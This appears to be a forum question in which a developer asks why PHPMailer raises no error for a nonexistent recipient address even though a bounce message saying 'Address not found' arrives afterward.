What I mean to say is when I enter this email “[email protected]”(doesn’t exist) and send it, I receive from mail delivery subsystem

Address not found

but PHPMailer doesn’t throw any error simply moves forward, do’s what the next line in the program is.